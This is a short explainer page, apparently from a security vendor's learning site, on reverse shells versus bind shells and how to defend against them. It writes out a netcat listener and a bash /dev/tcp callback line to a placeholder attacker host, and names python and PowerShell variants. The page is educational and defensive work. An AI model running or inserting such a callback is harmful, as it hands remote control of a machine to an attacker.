# What is a reverse shell?

A reverse shell is a shell session where the compromised machine connects out to the attacker and gives them command-line control, rather than the attacker connecting in. It is popular because outbound connections usually pass through firewalls that block inbound ones. The attacker runs a listener and triggers a small command on the target that calls back. It contrasts with a bind shell, where the target listens and the attacker connects in.

## HOW IT WORKS

### 01 How it works and payload

The attacker starts a listener, then triggers the callback on the target:

- Listener (attacker): `nc -lvnp 443`
- Linux target callback: `bash -i >& /dev/tcp/ATTACKER-IP/443 0>&1`
- Alternatives: `python3 -c 'import socket,subprocess,os;...'`, or a `nc` / `mkfifo` one-liner.
- Windows target: a PowerShell TCP client that pipes a shell back to the listener.

Once the callback lands, the attacker has an interactive shell on the target. Documented techniques shown for defenders.

> REVERSE VS BIND
>
> *Reverse shell = target calls out to the attacker (beats inbound firewalls). Bind shell = target listens and attacker connects in (needs inbound access). Reverse is far more common.*

## HOW TO DEFEND

- Restrict egress (outbound) traffic with a firewall so hosts cannot freely connect to arbitrary internet addresses and ports.
- Use application allow-listing to stop unexpected interpreters and tools from running.
- Monitor for unusual outbound connections, especially shells spawned by web or service processes.
- Segment so a host that does get a reverse shell cannot reach much else (limits pivoting).
- Patch and harden the entry points that let an attacker run the initial command.

## SOURCES

[1] MITRE ATT&CK: Lateral Movement (TA0008)

[2] NIST SP 800-115 Technical Guide to Security Testing

[3] Linux man-pages: ssh(1)

**Find the lateral-movement paths before an attacker does.**

securelayer7.net/learn/lateral-movement/what-is-a-reverse-shell

Open online